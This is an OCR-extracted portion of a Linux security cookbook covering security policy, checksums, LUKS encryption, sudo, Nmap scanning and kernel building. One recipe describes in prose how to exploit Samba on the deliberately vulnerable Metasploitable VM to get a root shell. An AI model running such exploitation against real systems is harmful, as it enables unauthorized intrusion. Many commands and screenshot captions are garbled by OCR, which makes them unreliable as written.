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Preface

When setting up a Linux system, security is supposed to be an
important part of all stages. A good knowledge of the fundamentals
of Linux is essential to implementing a good security policy on the
machine.

Linux, as it ships, is not completely secure, and it is the responsibility
of the administrator to configure the machine in a way such that it
becomes more secure.

Practical Linux Security Cookbook will work as a practical guide for
administrators and help them configure a more secure machine.

If you want to learn about Kernel configuration, filesystem security,
secure authentication, network security, and various security tools for
Linux, this book is for you.

Linux security is a massive subject and not everything can be
covered in just one book. Still, Practical Linux Security Cookbook will
give you a lot of recipes for securing your machine.



What this book covers

Chapter 1, Linux Security Problems, covers various vulnerabilities
and exploits in relation to Linux. It also discusses the kinds of
security that can be implemented for these exploits. Topics include
preparing security policies and security controls for password
protection and server security and performing vulnerability
assessments of the Linux system. It also covers the configuration of
sudo access.

Chapter 2, Configuring a Secure and Optimized Kernel, focuses on
the process of configuring and building the Linux kernel and its
testing. Topics covered include requirements for building a kernel,
configuring a kernel, kernel installation, customization, and kernel
debugging. The chapter also discusses configuring a console using
Netconsole.

Chapter 3, Local Filesystem Security, looks at Linux file structures
and permissions. It covers topics such as viewing file and directory
details, handling files and file permissions using chmod, and the
implementation of an access control list. The chapter also gives
readers an introduction to the configuration of LDAP.

Chapter 4, Local Authentication in Linux, explores user
authentication on a local system while maintaining security. Topics
covered in this chapter include user authentication logging, limiting
user login capabilities, monitoring user activity, authentication control
definition, and also how to use PAM.

Chapter 5, Remote Authentication, talks about authenticating users
remotely on a Linux system. The topics included in this chapter are
remote server access using SSH, disabling and enabling root login,
restricting remote access when using SSH, copying files remotely
over SSH, and setting up Kerberos.



Chapter 6, Network Security, provides information about network
attacks and security. It covers managing the TCP/IP network,
configuring a firewall using Iptables, blocking spoofed addresses,
and unwanted incoming traffic. The chapter also gives readers an
introduction to configuring and using TCP Wrapper.

Chapter 7, Security Tools, targets various security tools or software
that can be used for security on a Linux system. Tools covered in this
chapter include sXID, PortSentry, Squid proxy, OpenSSL server,
Tripwire, and Shorewall.

Chapter 8, Linux Security Distros, introduces the readers to some of
the famous distributions of Linux/Unix that have been developed in
relation to security and penetration testing. The distros covered in
this chapter include Kali Linux, pfSense, DEFT, NST, and Helix.

Chapter 9, Patching a Bash Vulnerability, explores the most famous
vulnerability of Bash shell, which is known as Shellshock. It gives
readers an understanding of Shellshock vulnerability and the security
issues that can arise with its presence. The chapter also tells the
reader how to use the Linux Patch Management system to secure
their machine and also gives them an understanding of how patches
are applied in a Linux system.

Chapter 10, Security Monitoring and Logging, provides information
on monitoring logs in Linux, on a local system as well as a network.
Topics discussed in this chapter include monitoring logs using
Logcheck, using Nmap for network monitoring, system monitoring
using Glances, and using MultiTail to monitor logs. A few other tools
are also discussed, which include Whowatch, stat, Isof, strace, and
Lynis.



What you need for this book

To get the most out of this book, readers should have a basic
understanding of the Linux filesystem and administration. They
should be aware of the basic commands of Linux, and knowledge
about information security would be an added advantage.

This book will include practical examples on Linux security using
inbuilt tools of Linux as well as other available open source tools. As
per the recipe, readers will have to install these tools if they are not
already installed in Linux.



Who this book is for

Practical Linux Security Cookbook is intended for all those Linux
users who already have knowledge of Linux filesystems and
administration. You should be familiar with basic Linux commands.
Understanding information security and its risks to a Linux system is
also helpful in understanding the recipes more easily.

However, even if you are unfamiliar with information security, you will
be able to easily follow and understand the recipes discussed.

Since Practical Linux Security Cookbook follows a practical
approach, following the steps is very easy.



Sections

In this book, you will find several headings that appear frequently
(Getting ready, How to do it, How it works, There's more, and See
also).

To give clear instructions on how to complete a recipe, we use these
sections as follows:



Getting ready

This section tells you what to expect in the recipe and describes how

to set up any software or any preliminary settings required for the
recipe.



How to do it...

This section contains the steps required to follow the recipe.



How it works...

This section usually consists of a detailed explanation of what
happened in the previous section.



There's more...

This section consists of additional information about the recipe in
order to make the reader more knowledgeable about the recipe.



See also

This section provides helpful links to other useful information for the
recipe.



Conventions

In this book, you will find a number of text styles that distinguish
between different kinds of information. Here are some examples of
these styles and an explanation of their meaning.

Code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLSs, user input, and Twitter
handles are shown as follows: "The mdassum command will then print
the calculated hash in a single line."

Any command-line input or output is written as follows:

telinit 1

New terms and important words are shown in bold. Words that you
see on the screen, for example, in menus or dialog boxes, appear in
the text like this: "Navigate to Main Menu | Backtrack | Exploitation
Tools | Network Exploitation Tools | Metasploit Framework |
Msfconsole."

Note

Warnings or important notes appear in a box like this.
Tip

Tips and tricks appear like this.



Reader feedback

Feedback from our readers is always welcome. Let us know what
you think about this book—what you liked or disliked. Reader
feedback is important for us as it helps us develop titles that you will
really get the most out of.

To send us general feedback, simply e-mail
<feedback@packtpub.com>, and mention the book's title in the subject

of your message.

If there is a topic that you have expertise in and you are interested in
either writing or contributing to a book, see our author guide at
www.packtpub.com/authors.
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Customer support

Now that you are the proud owner of a Packt book, we have a
number of things to help you to get the most from your purchase.



Downloading the example code

You can download the example code files for this book from your
account at http://www.packtpub.com. If you purchased this book
elsewhere, you can visit http://www.packtpub.com/support and
register to have the files e-mailed directly to you.

You can download the code files by following these steps:

1. Log in or register to our website using your e-mail address and
password.

Hover the mouse pointer on the SUPP ORT tab at the top.
Click on Code Downloads & Errata.

Enter the name of the book in the Search box.

Select the book for which you're looking to download the code
files.

Choose from the drop-down menu where you purchased this
book from.

7. Click on Code Download.

bk wnN

o

You can also download the code files by clicking on the Code Files
button on the book's webpage at the Packt Publishing website. This
page can be accessed by entering the book's name in the Search
box. Please note that you need to be logged in to your Packt
account.

Once the file is downloaded, please make sure that you unzip or
extract the folder using the latest version of:

» WinRAR / 7-Zip for Windows
e Zipeg/iZip / UnRarX for Mac
e 7-Zip / PeaZip for Linux


http://www.packtpub.com/
http://www.packtpub.com/support

Downloading the color images of this book

We also provide you with a PDF file that has color images of the
screenshots/diagrams used in this book. The color images will help
you better understand the changes in the output. You can download

this file from
http: //www.packtpub.com/sites/default/files/downloads/PracticallLinux

SecurityCookbook_Coloredlmages.pdf.
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Errata

Although we have taken every care to ensure the accuracy of our
content, mistakes do happen. If you find a mistake in one of our
books - maybe a mistake in the text or the code - we would be
grateful if you could report this to us. By doing so, you can save
other readers from frustration and help us improve subsequent
versions of this book. If you find any errata, please report them by
visiting http: //www.packtpub.com/submit-errata, selecting your book,
clicking on the Errata Submission Form link, and entering the
details of your errata. Once your errata are verified, your submission
will be accepted and the errata will be uploaded to our website or
added to any list of existing errata under the Errata section of that
title.

To view the previously submitted errata, go to

name of the book in the search field. The required information will
appear under the Errata section.


http://www.packtpub.com/submit-errata
https://www.packtpub.com/books/content/support

Piracy

Piracy of copyrighted material on the Internet is an ongoing problem
across all media. At Packt, we take the protection of our copyright
and licenses very seriously. If you come across any illegal copies of
our works in any form on the Internet, please provide us with the
location address or website name immediately so that we can
pursue a remedy.

Please contact us at <copyright@packtpub.com> With a link to the
suspected pirated material.

We appreciate your help in protecting our authors and our ability to
bring you valuable content.


mailto:copyright@packtpub.com

Questions

If you have a problem with any aspect of this book, you can contact

us at <questions@packtpub.com>, and we will do our best to address
the problem.



mailto:questions@packtpub.com

Chapter 1. Linux Security Problems

In this chapter, we will discuss the following:

The security policy of Linux

Configuring password protection

Configuring server security

Conducting integrity checks of the installation medium using
checksum

Using the LUKS disk encryption

Making use of sudoers — configuring sudo access

Scanning hosts with Nmap

Gaining a root on a vulnerable Linux system



Introduction

A Linux machine is only as secure as an administrator configures it
to be. Once we are done with the installation of the Linux OS and we
remove its unnecessary packages after the installation has been
completed, we can start working on the security aspect of the
software and the services provided by the Linux machine.



The security policy of Linux

A security policy is a definition that outlines the rules and practices to
be followed to set up the computer network security in an
organization. How the organization should manage, protect, and
distribute sensitive data is also defined by the security policy.



Developing a security policy

When creating a security policy, we should keep in mind that it
should be simple and easy for all users. The objective of the policy
should be to protect data while keeping the privacy of users intact.

It should be developed around these points:

» Accessibility to the system

o Software installation rights on the system
e Data permission

» Recovery from failure

When developing a security policy, a user should use only those
services for which permission has been granted. Anything that is not
permitted should be restricted in the policy.



Configuring password protection

In any system, the password plays a very important role in terms of
security. A poor password may lead to an organization's resources
being compromised. The password protection policy should be
adhered to by everyone in the organization, from users to the
administrator level.



How to doit...
Follow the given rules when selecting or securing your password.

For the creation policy, follow these rules:

e A user should not use the same password for all the accounts in
an organization

o All access-related passwords should not be the same

* Any system-level account should have a password that's
different from any other account held by the same user

For the protection policy, follow these rules:

e A password is something that needs to be treated as sensitive
and confidential information. Hence, it should not be shared with
anyone.

» Passwords should not be shared through any electronic
communication, such as e-mails.

* Never reveal a password on your phone or questionnaire.

* Do not use password hints that could provide clues to an
attacker.

* Never share company passwords with anyone, including
administrative staff, managers, colleagues, and even family
members.

» Don't store passwords in written form anywhere in your office. If
you store passwords on a mobile device, always use encryption.

» Don't use the Remember Password feature of applications.

» In there's any doubt of a password being compromised, report
the incident and change the password as soon as possible.

For the change policy, follow these rules:

o All users and administrators must change their password on a
regular basis or at least on a quarterly basis

e The security audit team of an organization must conduct random
checks to check whether the passwords of any user can be
guessed or cracked



How it works...

With the help of the preceding points, ensure that a password, when
created or changed, is not easy enough to be guessed or cracked.



Configuring server security

A major reason for malicious attacks on Linux servers has been
poorly implemented security or existing vulnerabilities. When
configuring a server, security policies need to be implemented
properly, and ownership needs to be taken in order to properly
customize the server.



How to do it...

General Policy:

The administration of all the internal servers in an organization
is the responsibility of a dedicated team, which should also keep
a look out for any kind of compliance. If any compliance takes
place, the team should accordingly implement or review the
security policy.
When configuring internal servers, they must be registered in
such a way that the servers can be identified on the basis of the
following information:

o Location of the server

o The operating system version and its hardware

configuration

o Services and applications that are being run
Any kind of information in the organization's management
system must always be kept up to date.

Configuration Policy:

The operating system on the server should be configured in
accordance with the guidelines approved for InfoSec.

Any service or application not being used should be disabled
wherever possible.

All access to the services and applications on the server should
be monitored and logged. They should also be protected
through access-control methods. An example of this will be
covered in Chapter 3, Local Filesystem Security.

The system should be kept updated, and any recent security
patches, if available, should be installed as soon as possible.
Avoid using a root account to the maximum extent. It's
preferable to use security principles that require the least
amount of access to perform a function.

Any kind of privileged access must be performed over secure
channel connection (SSH) wherever possible.

The server should be accessed in a controlled environment.



Monitoring Policy:

» All security-related actions on server systems must be logged,
and audit reports should be saved as follows:
o For a period of 1 month, all security-related logs should be
kept online
o For a period of 1 month, daily backups as well as weekly
backups should be retained
o For minimum of 2 years, full monthly backups should be
retained
* Any event related to security being compromised should be
reported to the InfoSec team. They shall then review the logs
and report the incident to the IT department.
» A few examples of security-related events are as follows:
o Port scanning-related attacks
o Access to privileged accounts without authorization
o Unusual occurrences due to a particular application being
present on the host



How it works...

Following the preceding policy helps in the base configuration of the
internal server that is owned or operated by the organization.
Implementing the policy effectively will minimize any unauthorized
access to sensitive and proprietary information.



There's more...

There are some more things to discover when we talk about security
in Linux.



Security controls

When we talk about securing a Linux machine, it should always start
with following a checklist in order to help in the hardening of the
system. The checklist should be such that following it will confirm the
implementation of proper security controls.



Conducting integrity checks of the
installation medium using checksum

Whenever we download an image file of any Linux distribution, it
should always be checked for correctness and safety. This can be
achieved by doing an MD5 checksum of the downloaded image with
the MD5 value of the correct image.

This helps in checking the integrity of the downloaded file. Any
changes to the files can be detected by the MD5 hash comparison.

Whenever any changes take place in the downloaded files, the MD5
hash comparison can detect it. The larger the file size, the higher the
possibility of changes in the file. It is always recommended to do the
MD5 hash comparison for files such as operating system installation
files on a CD.



Getting ready

The MD5 checksum is normally installed on most Linux distributions,
so installation is not required.



How to do it...

1. First open the Linux terminal and then change the directory to
the folder containing the downloaded ISO file using the
ubuntu@ubuntu-desktop:~$ cd Downloads command.

Note

Linux is case-sensitive, and type the correct spelling for the
folder name. Downloads is not the same as downloads in Linux.

2. After changing to the pown1oads directory, type the following
command:

md5 sum ubuntu-filename. iso

3. The nassum command will then print the calculated hash in a
single line, as shown here:

8044d756b7£f00b695ab8dce07dced43e5 ubuntu-filename. iso

Now, we can compare the hash calculated by the preceding
command with the hash on the UbuntuHashes page
(https://help.ubuntu.com/community/UbuntuHashes). After opening
the UbuntuHashes page, we just need to copy the preceding hash
that has been calculated in the Find box of the browser (by pressing
Ctrl + F).


https://help.ubuntu.com/community/UbuntuHashes

How it works...

If the calculated hash and the hash on the UbuntuHashes page
match, then the downloaded file is not damaged. If the hashes don't
match, then there might be a problem with either the downloaded file
or the server from where the download was made. Try downloading
the file again. If the issue still persists, it is recommended that you
report the issue to the administrator of the server.



See also

Here's something extra in case you want to go the extra mile: try out
the GUI checksum calculator that is available for Ubuntu

Sometimes, it's really inconvenient to use a terminal in order to
perform checksums. You need to know the right directory of the
downloaded file and also the exact filename. This makes it difficult to
remember the exact commands.

As a solution for this, there is a very small and simple software called
GtkHash.

You can download the tool from http://gtkhash.sourceforge.net/, and
install it using this command:

sudo apt-get install gtkhash


http://gtkhash.sourceforge.net/

Using the LUKS disk encryption

In enterprises such as small businesses and government offices
users may have to secure their systems in order to protect their
private data, which includes customers details, important files,
contact details, and so on. To do so, Linux provides good number of
cryptographic techniques, which can be used to protect data on
physical devices such as hard disks or a removable media. One
such cryptographic technique uses the Linux Unified Key Setup-
on-disk-format (LUKS). This technique allows for the encryption of
Linux partitions.

LUKS has the following functionality:

» An entire block device can be encrypted using LUKS. It's well
suited to protecting data on removable storage media or laptop
disk drives.

» Once encrypted, the contents of the encrypted block devices are
random, thus making it useful for the encryption of swap
devices.

» LUKS uses an existing device mapper kernel subsystem.

|t also provides a passphrase strengthener, which helps in
protecting against dictionary attacks.



Getting ready

For the following process to work, it is necessary that /nome is
created on a separate partition while installing Linux.

Tip
WARNING

Configuring LUKS using the given steps will remove all the data on
the partition that's being encrypted. So, before starting the process
of using LUKS, make sure to back up the data on an external
source.



How to do it...

For manually encrypting directories follow these steps:

1. Move to Run level 1. Type the following command in the shell
prompt or terminal:

telinit 1
2. Now, unmount the current /nome partition using this command:
umount /home

3. The previous command might fail if there is any process
controlling /nome. Find and kill any such process using the fuser
command:

fuser -mvk /home

4. Check to confirm that the /nome partition is not mounted now:
grep home /proc/mounts

5. Now, put some random data into the partition:
shred -v --iterations=1 /dev/MYDisk/home

6. The previous command might take some time to complete, so
be patient. The time taken depends on the write speed of your
device.

7. Once the previous command completes, initialize the partition:

cryptsetup --verbose --verify-passphrase luksFormat
/dev/MYDisk/home

8. Open the newly created encrypted device:
cryptsetup luksOpen /dev/MYDisk/home
9. Check to confirm that the device is present
1ls -1 /dev/mapper | grep home
10. Now create a filesystem:

mkfs. ext3 /dev/mapper/home



11. Then, mount the new filesytem:
mount /dev/mapper/home /home

12. Confirm that the filesystem is still visible:
df -h | grep home

13. Enter the following line in the /etc/crypttab file:
home /dev/MYDisk/home none

14. Make changes in the /etc/fstab file to delete the entry for /nome
and add the following line:

/dev/mapper/home /home ext3 defaults 1 2

15. Once completed, run this command to restore the default
SELinux security settings:

/sbin/restorecon -v -R /home
16. Reboot the machine:
shutdown -r now

17. After rebooting, the system will prompt us for the LUKS
passphrase on boot. You can log in as the root now and restore
your backup.

Congratulations! You have successfully created an encrypted
partition. Now you can keep all your data safe even when your
computer is off.



How it works...

We first move into running level 1 and unmounting the /home
partition. Once unmounted, we fill some random data in the /home
partition. Then, we initialize the partition, using the cryptsetup
command to encrypt it.

Once the encryption is done, we mount the filesystem back again,
and then make an entry of the partition in the /etc/crypttab file.
Also, the /etc/fstab file is edited to add an entry for the preceding
encrypted partition.

After completing all the steps, we have restored the default settings
of SELinux.

Doing this, the system will always ask for the LUKS passphrase on
boot.



Making use of sudoers — configuring
sudo access

Whenever the system administrator wants to provide trusted users
administrative access to the system without sharing the password of
the root user, they can do so using the sudo mechanism.

Once the user is given access using the sudo mechanism, they can
execute any administrative command by preceding it with sudo.
Then, the user will be asked to enter their own password. After this,
the administrative command will be executed in the same way as run
by the root user.



Getting ready

As the file for the configuration is predefined and the commands
used are inbuilt, nothing extra needs to be configured before starting
these steps.



How to do it...

1. We will first create a normal account and then give it sudo
access. Once done, we will be able to use the sudto command
from the new account and then execute the administrative
commands. Follow the steps given to configure the sudo access.
Firstly, use the root account to login to the system. Then, create
a user account using the useradda command, as shown in the
following figure:

# useradd USERNAME

Replace usernave with any name of your choice in the preceding
command.

2. Now, using the passwda command, set a password for the new
user account.

M ereswrl (ISFRNAMF
Chamg i np, pasecsnrd toe uses (ISFRNARE

Mo passunng
Metyps new password:
passwd: all suthenticatien tokens updeted successfully.

3. Edit the /etc/sudoers file by running visudo. The policies applied
when using the sudo command are defined by the /etc/sudoers
file.

4. Once the file is open in the editor, search for the following lines,
which allow sudo access to the users in the test group:



§#f Rllowo pocplc in group tcaot to run all commando

f #test DL AL LA

. We can enable the given configuration by deleting the comment
character (#) at the beginning of the second line. Once the
changes are made, save the file and exit from the editor. Now,
using the usermod command, add the previously created user to
the test group.

wiend —aiF Les!. NSFERNAME

. We need to check whether the configuration shown in the
preceding screenshot allows the new user account to run
commands using sudo.

. To switch to the newly created user account, use the su option.

# sl W RAAMT -

. Now, use the groups command to confirm the presence of the
user account in the test group.

T grudaps

DEFENAME Lesl

Finally, run the whoami command with sudo from the new
account. As we have executed a command that uses sudo for
the first time, using this new user account, the default banner
message will be displayed for the sudo command. The screen
will also ask for the user account password to be entered.



¥ sudo whoami
We Lrusl you have received Lhe usual Jeclure froe Lhe local Sysl:
admirdctearar. Tt ucually balls dawn ta thoes threo Thinps:

#1) Respect the privacy ol others.

2y Think before you Lype.
#1) With preat power comes great responsihiliTy.

[s=ude ] password for USERMAME:
root

9. The last line of the preceding output is the username returned
by the whoami command. If sudo is configured correctly, this
value will be root.

You have successfully configured a user with sudo access. You can
now log in to this user account and use sudo to run commands the
same way as you would from the root user.



How it works...

When we create a new account, it does not have permission to run
administrator commands. However, after editing the /etc/sudoers file
and making an appropriate entry to grant sudo access to the new
user account, we can start using the new user account to run all the
administrator commands.



There's more...

Here is an extra measure that you can take to ensure total security.

Vulnerability assessment

A vulnerability assessment is the process of auditing our network
and system security through which we can know about the
confidentiality, integrity, and availability of our network. The first
phase in the vulnerability assessment is reconnaissance, and this
further leads to the phase of system readiness in which we mainly
check for all known vulnerabilities in the target. The next phase is
reporting, where we group all the vulnerabilities found into categories
of low, medium, and high risk.



Scanning hosts with Nmap

Nmap is one of the most popular tools included in Linux that can be
used to scan a network. It has been in existence for many years, and
to date, it is one of the most preferable tools to gather information
about a network.

Nmap can be used by administrators on their networks to find any
open ports and host systems.

When doing a vulnerability assessment, Nmap is surely a tool that
can't be missed.



Getting ready

Most Linux versions have Nmap installed. The first step is to check
whether you already have it using this command:

nmap —-version

If Nmap exists, you should see an output similar to what is shown
here:

If Nmap is not already installed, you can download and install it from
https://nmap.org/download.html



https://nmap.org/download.html

How to do it...

Follow these steps to scan hosts using Nmap:

1. The most common use of Nmap is to find all online hosts within
a given IP range. The default command used to do this takes
some time to scan the complete network, depending on the
number of hosts present in the network. However, we can
optimize the process in order to scan the range faster.

2. In the preceding example, the time taken to complete the scan
was 6.67 seconds when scanning 100 hosts. If the whole IP
range for a particular network is to be scanned, it would take a
lot more time.

3. Now, let's try to speed up the process. The n switch tells Nmap
not to perform the DNS resolution of the IP addresses, hence
making the process faster. The T switch tells Nmap what speed
to operate at. Here, 11 is the slowest and 75 is the fastest. The
max-rtt-timeout Option specifies the maximum time required to
wait for the response.



Now, the same command |s shown |n th|s example

o/ nmop
o

upl =scaoned im 1.87 =meccods

This time, Nmap scanned the complete IP range in 1.97
seconds. Pretty good, right?

. Port scanning using Nmap helps us discover services that are
online, such as finding FTP servers. To do this, use the following
Command

The preceding command of Nmap shall list out all the IP
addresses that have port 21 open.

. Not only FTP, other services can also be discovered by
matching the port numbers on which they run. For example,
MySQL runs on port 3306 The command WI|| now Iook like this:




How it works...

Nmap checks for services that are listening by testing the most
common network communication ports. This information helps the
network administrator to close down any unwanted or unused
services. The preceding examples show you how to use port
scanning and Nmap as powerful tools to study the network around

us.



See also

Nmap also has scripting features using which we can write custom
scripts. These scripts can be used with Nmap to automate and
extend its scanning capabilities. You can find more information about
Nmap on its official home page at https://nmap.org/



https://nmap.org/

Gaining a root on a vulnerable Linux
system

When trying to learn how to scan and exploit a Linux machine, one
major problem we encounter is where to try learning it. For this
purpose, the Metasploit team has developed and released a VMware
machine called Metasploitable. This machine has been made
vulnerable purposefully and has many services running unpatched.
Due to this, it becomes a great platform to practice or develop
penetration testing skills. In this section, you will learn how to scan a
Linux system, and then using the scanning result, find a service that
is vulnerable. Using this vulnerable service, we shall gain root
access to the system.



Getting ready

Backtrack 5R2 and the Metasploitable VMware system will be used
in this section. The image file of Metasploitable can be downloaded
from

http: //sourceforge.net/projects/metasploitable/files/Metasploitable2/.



http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

How to do it...

Follow these steps to gain root access to a vulnerable Linux system:

1. First, open the Metasploit console on the backtrack system by
following this menu: navigate to Main Menu | Backtrack |
Exploitation Tools | Network Exploitation Tools | Metasploit
Framework | Msfconsole.

2. Next, we need to scan the target (which is192.168.0.1 in this
example) with Nmap:

Jburtu) IPHPF 5.2 4 Zubuntub. 18 with suhosin: latth)

In the preceding command, the -ss option allows us to perform
a stealth scan, and the -2 option tries to discover the version
information of the OS and service.

Also, in the preceding command, we can see that there are
many services running on different ports. Among them is
Samba, which runs on ports 139 and 445.



Note

Note that Samba is a service that provides the SMB file and
prints services for Windows systems.

. Once we are able to locate the Samba service, we will just focus
on it now. From the preceding output, we can see that Samba is
running version 3.x. Now, we shall try to get more specific
information about the service. To do this, we will use any of the
auxiliary modules of Metasploit, such as the scanner section,
and look for the SMB protocol.

1 Fodsl os

. We can see that the scanner section has a SMB version
detector. Now, we'll get the exact version of Samba using the
SMB detector program. If we search online for all the
vulnerabilities of the particular version of Samba, we will find the
username map script.

. We can now search in the list of exploits available in Metasploit
to check whether an exploit exists for the map script username
using the search samba command.



6. We have found an exploit for the map script username, and it
has a rating that is excellent, which means that we can use this
exploit.

7. Now, use the map script username to gain a root level shell in
the system.

Now, we shall gain root-level access to the system using the
preceding exploit. Once we choose the exploit and configure it with
the target IP address (in this case, 192.168.0.1), we will execute a
command to run the exploit. Doing this will create and give us a



remote session on the target system and also open a command
shell. Now, run the i¢ command in the remote shell. This will give a
result—uid=0 (root)gid=0 (root). This confirms that we have remote
root access to the target system.



How it works

We first performed an Nmap scan to check for running services and
open ports and found the Samba service running. Then, we tried to
find the version of the SMB service. Once we got this information, we
searched for any exploit available for Samba. Using the exploit, we
tried to attack the target system and got the root shell on it.



There's more...

Let's learn about a few more exploits and attacks that are peculiar to
Linux.

In this section, we shall go through a few of the common exploits and
attacks that Linux is vulnerable to. However, in this section, will not
cover any recipes to deal with the attacks. This section is just to let
you know about the common exploits used in Linux.

Null or default passwords

Often, administrators use default passwords that are provided to
them by a vendor or they may even leave the administrative
password blank. This happens mainly while configuring devices,
such as routers, and also in BIOSes. Even some services running on
Linux can contain the default administrator password. It is always
recommended that you change the default password and set a new
one that is only known to the administrator.

IP spoofing

An attacker can find vulnerabilities on our systems and servers, and
using these, they can install background programs or attack a
network. This can be done if the attacker connects his system to our
network in a way that makes it appear as though there's a node in
the local network. There are various tools available to assist crackers
while performing IP spoofing.

Eavesdropping

An attacker can collect data passing between two active nodes that
communicate on a network by eavesdropping. This type of attack
works mostly with protocols such as Telnet, FTP, and HTTP. Attacks
of this kind can be done when the remote attacker already has
access to any system on the network. This can be made possible
using other attacks such as the Man in the Middle Attack.



Service vulnerabilities

If an attacker is able to find a flaw or vulnerability in any service
running on the network system, they can compromise the entire
system and its data as well as other systems on the network.

Administrators should stay updated about any patches or updates
that are available for any service or application running on the
network system.

Denial of Service (DoS) attack
When an attacker sends unauthorized packets to the target system,

which could be a server, router, or a workstation, in large numbers, it
forces the resource to become unavailable to legitimate users.

The packets being sent by the attacker are usually forged, making
the investigation process difficult.



Chapter 2. Configuring a Secure and
Optimized Kernel

In this chapter, we will discuss the following:

Requirements for building and using a kernel

Creating a USB boot media

Retrieving a kernel source

Configuring and building a kernel

Installing and booting from a kernel

Testing and debugging a kernel

Configuring a console for debugging using Netconsole
Debugging a kernel on boot



Introduction

For all Linux distributions, including Ubuntu, CentOS, and Fedora, a
kernel is vital. It is by default installed for most Linux versions when
the OS is installed, hence we generally don't have to compile the
kernel. Even when there is a critical update to be installed in the
kernel, it can be done using apt-get Or yum On the Linux system.

However, there might be few situations where we have to compile
the kernel from a source ourselves. A few of these situations are as
follows:

» Enabling experimental features in the kernel
» Enabling new hardware support

e Debugging the kernel

» Exploring the kernel source code



Requirements for building and using a
kernel

Before we can start building the Linux kernel, we must ensure that a
working boot media exists for the Linux system. This can be used to
boot into the Linux system if the boot loader is not configured
properly. You will learn how to create a USB boot media, retrieve a
kernel source, configure and build a kernel, and perform installation
and booting from a kernel.



Creating a USB boot media

A USB boot media can be created on any USB media device that is
formatted as ext2, ext3, or VFAT. Also, ensure that enough free
space is available on the device, varying from 4 GB required for the
transfer of a distribution DVD image, 700 MB in the case of a
distribution CD image, or just 10 MB to transfer a minimal boot
media image.



Getting ready

Before carrying out the steps, we need to have an image file of the
Linux installation disk, which we can hame boot.iso, and a USB
storage device, as specified previously.



How to do it...

To create the USB boot media, we need to perform these commands
as the root:

1.

Firstly, we need to install the sys1inux boot loader by executing
the following command on the USB storage device:

syslinux /dev/sdbl

. Now, create mount points each for the voot.iso file and the USB

storage device by executing the following command:

mkdir /mnt/isoboot /mnt/diskboot

. Next, mount the voot . iso file on the mount point created for it

mount —-o loop boot. iso /mnt/isoboot

In the preceding command the -o 100p Option is used to create
a pseudo device, which acts as a block-based device. It treats a
file as a block device.

. Next, we will mount the USB storage device on the mount point

created for it

mount /dev/sdbl /mnt/diskboot

. Once both voot.iso and the USB storage device are mounted,

we will copy the isolinux files from the boot.iso to the USB
storage device:

cp /mnt/isoboot/isolinux/* /mnt/diskboot

. Next, run the command to use the isolinux.cfg file from

boot .iso as the sysiinux.cfqg file for the USB storage device:

grep -v local /mnt/isoboot/isolinux/isolinux. cfg >
/mnt/diskboot/syslinux. cfg

. Once done with the previous command, unmount boot . iso and

the USB storage device:

unmount /mnt/isoboot /mnt/diskboot



8. Now, reboot the system, and then try to boot with the USB boot
media to verify that we are able to boot with it.



How it works...

When we copy the required files from the boot . iso file to the USB
storage media and use the isolinux.cfg file from boot.iso in the
USB storage media as the sysiinux.cfq file, it converts the USB
storage media into a bootable media device, which can be used to
boot the Linux system.



Retrieving a kernel source

Most Linux distributions include kernel sources in them. However,
these sources may tend to be a bit out of date. Due to this, we may
need to get the latest sources when building or customizing the
kernel.



Getting ready

Most of the Linux kernel developer community uses the Git tool to
manage source code. Even Ubuntu has integrated Git for its own
Linux kernel source code, hence enabling kernel developers to
interact better with the community.

We can install the git package using this command:

sudo apt-get install git



How to do it...

The Linux kernel source code can be downloaded from various
sources, and we will discuss the methods used to download from
these sources:

We can find the Linux source code in the form of a complete
tarball and also as an incremental patch on the official web page
of Linux kernel at http://www.kernel.org.

It is always recommended that you use the latest version unless
you have a specific reason to work with an older version.
Ubuntu's kernel source can be found under Git. Each release
code of the kernel is separately maintained on
kernel.ubuntu.com in its own Git repository, which is located at

git://kernel.ubuntu.com/ubuntu/ubuntu-<release>.git Ol
http://kernel.ubuntu.com/qit-repos/ubuntu/

We can clone the repository using Git to get a local copy. The
command will get modified as per the Ubuntu release we are
interested in.

To obtain the precise tree execute the command shown in the
following screenshot

Aol oumanse L cor Sube oy Lot a-prociss oqit

The precise tree will get downloaded using the command in the
preceding image. To download any other tree, the syntax of the
command will be: git clone
git://kernel.ubuntu.com/ubuntu/ubuntu-<release>.

The downloaded file would be in either the GNU zip (. gz ip)
format or the .vz ip2 format. After downloading the source file,


http://www.kernel.org/
http://kernel.ubuntu.com/
http://kernel.ubuntu.com/git-repos/ubuntu/

we need to uncompress it. If the tarball is in .vzip2, use this
command for it

tar xvjf linux-x.y.z. tar. bz2

If it is in the compressed GNU .4z format, use this command:

tar xvzf linux-x. y. z. tar. gz



How it works...

Using the different methods that are mentioned in the preceding
section, we are able to download the source code of the Linux
kernel. Using any option depends on the user's choice and
preference.



Configuring and building a kernel

The need to configure the kernel could arise due to many reasons.
We may want to resize the kernel to run only the necessary services,
or we may have to patch it to support new hardware that was not
supported earlier by the kernel. This could be a daunting task for any
system administrator, and in this section, we take a look at how we
can configure and build the kernel.



Getting ready

It is always recommended that you have ample space for kernels in
the boot partition of any system. We can either choose the whole
disk install option or set aside a minimum of 3 GB of disk space for
the boot partition.

After installing the Linux distribution and configuring development
packages on the system, enable the root account as well as sudo for
our user account.

Now, before we start with the installation of any packages, run the
following command to update the system:

sudo apt-get update && sudo apt-get upgrade

After this, check whether the build-essential package is already
installed or not. If not, we can install it using this command:

sudo apt-get install build-essential
This package is used to build the Linux kernel on a x86_64 system.

We also need a few other requirements to compile the kernel:

e The latest version of gcc should be installed using this
command:

sudo apt-get install gcc
 Install the ncurses development package using this command:
sudo apt-get install libncurses5-dev

» A few other packages may also be needed to cross-compile the
Linux kernels:

sudo apt-get install binutils-multiarch
sudo apt-get install alien



e Next, install ncurses-dev, which is required to run make

menuconfig.

sudo apt-get install ncurses-dev



How to do it...

Once we are done with the steps in the Getting Ready section, we
can move on to the process of configuring and building the kernel.
This process will take a lot of time, so be prepared:

1. Download the Linux kernel by visiting the http://www.kernel.org,
as shown in this screenshot
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2. It can also be downloaded using the following command:

wget https: //www. kernel. org/pub/linux/kernel/v4. x/linux-
4. 1. 5. tar. xz


http://www.kernel.org/
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. When the download is completed, move to the directory where

the download has been saved.
. If the downloaded file has been saved in the pown1oads folder,

the following command should be executed:

L s

. Now, extract the downloaded .tar file to the /usr/src/ location
using the following command:

ce el vacds ¥ g -wu
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“m

. Next, switch to the directory where the extract has been made
using this command:



v Dowm Loads=# cd

Susrfsrcflinue=-4. 1.

